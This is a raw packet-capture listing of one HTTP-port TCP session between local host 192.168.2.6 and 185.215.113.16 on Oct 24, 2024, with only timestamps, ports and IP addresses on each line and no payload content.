Oct 24, 2024 09:07:30.660679102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660742998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660752058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660753965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660774946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660789013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660813093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660875082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660890102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660903931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660917997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660927057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660940886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660949945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661031008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661045074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661060095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661087990 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661103010 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661112070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661124945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661161900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661254883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661268950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661283016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661297083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661307096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661319971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661333084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661344051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661359072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661381006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661405087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661417961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661432981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661446095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661456108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661468983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661479950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661493063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661546946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661559105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661571980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661585093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661606073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661628962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661653042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661667109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661680937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661715984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661799908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661817074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661832094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661845922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661854982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661871910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661878109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661890030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661906004 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.661912918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.661925077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662108898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662121058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662132978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662147999 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662156105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662169933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662184000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662198067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662211895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662220955 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662235022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662244081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662297010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662311077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662326097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662347078 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662372112 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662513971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662530899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662545919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662559986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662573099 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662584066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662596941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662606955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662621021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662631989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662642002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662655115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662663937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662678003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662691116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662705898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662719965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662740946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662816048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662828922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662842035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662859917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662867069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662883997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662889957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662918091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.662954092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662969112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.662982941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663017035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663041115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663055897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663069010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663079023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663091898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663101912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663114071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663129091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663146019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663151979 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663166046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663187027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663273096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663286924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663301945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663340092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663417101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663436890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663450003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663474083 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663485050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663500071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663515091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663523912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663537025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663547039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663558960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663573980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663588047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663603067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663610935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663625002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663635969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663649082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663661957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663794041 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663839102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663852930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663867950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663882017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663903952 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663928032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.663961887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663975954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.663990974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664005995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664026022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664038897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664057016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664098024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664113045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664127111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664145947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664154053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664161921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664174080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664187908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664205074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664211035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664215088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664222956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664235115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664243937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664257050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664269924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664279938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664294004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664316893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664529085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664536953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664561987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664570093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664578915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664591074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664603949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664604902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664618015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664633036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664655924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.664746046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664751053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.664794922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.676592112 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.703502893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.703531981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.703550100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.703603029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.705354929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705410004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705424070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705465078 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.705498934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705507040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705524921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705547094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.705604076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705661058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.705683947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705698967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705725908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705734015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.705750942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.705777884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.749310970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.749356985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.749373913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.749420881 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.751386881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.751425982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.751431942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.751456976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.751466036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.751481056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.751513958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.776909113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.776925087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.776935101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.776994944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777014971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777024031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777053118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777065039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777077913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777087927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777096987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777122021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777151108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777159929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777256966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777266979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777276039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777283907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777292967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777307987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777335882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777420044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777437925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777460098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777477980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777494907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777517080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777529955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777555943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777559042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777576923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777627945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777642965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777659893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777682066 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777709007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777713060 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777743101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777789116 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777816057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777834892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777884960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777901888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777955055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.777978897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.777997017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778016090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778033018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778053999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778100967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778105974 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778135061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778167963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778181076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778242111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778259039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778291941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778311968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778332949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778374910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778415918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778419971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778449059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778481960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778501034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778533936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778547049 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778595924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778614998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778640985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778645039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778675079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778709888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778723001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778754950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778770924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778814077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778841972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778857946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778875113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778891087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778923035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778939009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.778963089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.778983116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779012918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779031992 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.779073954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779090881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779109001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779123068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.779144049 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.779191971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779211044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779243946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779258013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.779278994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.779309034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779355049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779372931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779398918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779402971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.779432058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779463053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779479980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779498100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.779510975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.779557943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.780278921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.259327888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:31.264895916 CEST	80	49772	185.215.113.16	192.168.2.6
